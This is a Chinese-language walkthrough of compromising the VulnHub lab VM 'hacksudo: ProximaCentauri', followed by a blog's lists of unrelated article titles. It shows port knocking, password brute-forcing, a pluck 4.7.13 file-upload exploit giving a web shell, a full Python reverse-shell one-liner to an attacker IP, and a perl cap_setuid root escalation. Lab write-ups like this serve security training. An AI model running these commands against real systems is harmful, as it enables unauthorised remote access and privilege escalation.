准备:

攻击机:虚拟机kali、本机win10。

靶机:hacksudo: ProximaCentauri,下载地址:https://download.vulnhub.com/hacksudo/hacksudo-ProximaCentauri.zip,下载后直接vbox打开即可。

知识点:perl提权、pluck 框架漏洞、端口敲门、密码爆破、敏感文件发现。

信息收集:

扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.5.2126,显示开放了80端口,开启了http服务并且存在robots.txt文件以及两个目录信息。

访问下web服务,跳转到:http://192.168.5.126/?file=hacksudo-proxima-centauri,猜测存在文件包含漏洞,进行测试:http://192.168.5.126/?file=../../../../../../../etc/passwd,但是存在检测,被拦截了。

目录扫描:

使用gobuster进行目录扫描,发现flag1.txt文件、data文件夹、files文件夹等信息。

访问:http://192.168.5.126/flag1.txt获得flag1.txt信息。

访问login.php页面发现框架的版本信息:pluck 4.7.13,顺便尝试了下弱口令、注入,但是均测试失败。

搜索下pluck 4.7.13的漏洞信息:searchsploit pluck,发现存在一个文件上传进行命令执行的漏洞,但是查看了下该漏洞利用方式是需要admin权限的。

访问:http://192.168.5.126/planet时,发现travel目录,在travel目中检查源代码时发现提示信息,告诉我们要获取一个坐标并且RA是开启,DEC是关闭。

<!--- here you can open portal and travel to proxima,the co-ordinate is? RA for open,Dec for close The proxima blackwhole portal......get co-ordinate from https://g.co/kgs/F9Lb6b --!> 

访问下半人马座的坐标信息,获得:RA 14 29 43。

端口敲门和密码爆破:

使用命令:knock 192.168.5.126 14 29 43进行端口敲门,然后再次使用nmap对靶场进行端口扫描,命令:nmap -T4 -sV -p- -A 192.168.5.126,发现ssh服务。

尝试使用ssh服务进行了连接,发现给出了一个字典:https://github.com/hacksudo/fog-hacksudo/blob/main/blackhole.lst,猜测是密码。

使用bp抓取登录的数据包:http://192.168.5.126/login.php,使用获得字典进行爆破,成功获得密码:hacktheplanet。

框架漏洞获取shell:

这里想到上面提到的框架:pluck 4.7.13的漏洞,该漏洞需要使用管理员权限,那我们现在有了密码不就是管理员了,根据该exp的利用方式获取shell权限,命令:python 49909.py 192.168.5.153 80 hacktheplanet ""。(这里因为电脑重启了一次,靶机ip和kali的ip均发生了改变)。

访问返回的地址:http://192.168.5.153:80/files/shell.phar,获得一个命令执行窗口。

使用python反弹下shell,python反弹脚本可以在这里生成:https://www.revshells.com/。

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.5.150",6688));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

多级目录获取shell:

对二级目录进行了扫描,最后在/data/trash/files目录下发现shell.phar文件,访问该文件获取了一个shell(同上面),这里不在赘述。

提权-proxima:

在/home目录下发现用户名称:alfa、centauri、proxima,想着用原来的密码字典进行爆破,但是失败。

在/var目录下发现一个备份文件:backups,在该文件中发现mysql.bak文件,读取该文件获取到数据库名称、账号和密码信息:proximacentauri、alfauser/passw0rd。

使用获得数据库信息,连接数据库,命令:mysql -h 127.0.0.1 -ualfauser -ppassw0rd,切换成我们发现的数据库,读取数据库内信息,发现一组账户和密码信息:proxima/alfacentauri123。

使用获得的账户信息:proxima/alfacentauri123,进行ssh连接,成功提权至proxima。并在当前目录下发现user.txt文件,读取该文件成功获得flag值。

提权:

查看下当前账户是否存在可以使用的特权命令,sudo -l,发现无法执行sudo权限。

通过:find / -perm -4000 -type f 2>/dev/null来查找可疑文件进行提权,但是未发现可以进行提权的文件。

上传LinEnum.sh脚本进行信息收集或者getcap -r / 2>/dev/null命令也可以发现,发现一个:cap_setuid+ep。

查找下perl的提权方式,执行命令:/home/proxima/proximaCentauriA/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";',进行提权,成功获得root权限。

获得root权限后在/root目录下发现root.txt文件,读取该文件成功获得flag值。

最新文章

  1. 2014-2015-2 《Java程序设计》课程学生博客列表
  2. Swift 关键字汇总
  3. 删除本地git版本库中受版本控制的文件
  4. MongoDB的C#驱动程序教程(译) 转
  5. &lt;老友记&gt;学习笔记
  6. C# 反射操作方法
  7. 理解js闭包(一)
  8. wave文件(*.wav)格式、PCM数据格式
  9. Git工作中用法(Gitlab)
  10. MVC5 Controller简要创建过程(2):由ControllerFactory创建Controller
  11. POJ 2208 Pyramids 欧拉四面体
  12. flex网上办(苹果)桌面系统仿真
  13. C++习题 对象转换
  14. hiveQL求差集
  15. Python_语法和界面设计
  16. mySql入门-(一)
  17. KiB 、十进制单位转换 、二进制单位转换
  18. μC/OS-II 信号量集
  19. WebStorm记录(3)
  20. Freemarker教程1(基本使用)

热门文章

  1. Ignite实战
  2. C++智能指针的enable_shared_from_this和shared_from_this机制
  3. IP分类与子网划分
  4. 加速乐逆向 cookies 参数
  5. 论文笔记 - An Explanation of In-context Learning as Implicit Bayesian Inference
  6. Burpsuite系列1--自动扫描
  7. WebKit策略:&lt;foreignObject&gt;可用于绘制svg中的html标签,但与&lt;use&gt;搭配不生效
  8. MongoDB - 入门指南
  9. 1、ArrayList源码解析
  10. Multipass,本地轻量级Linux体验!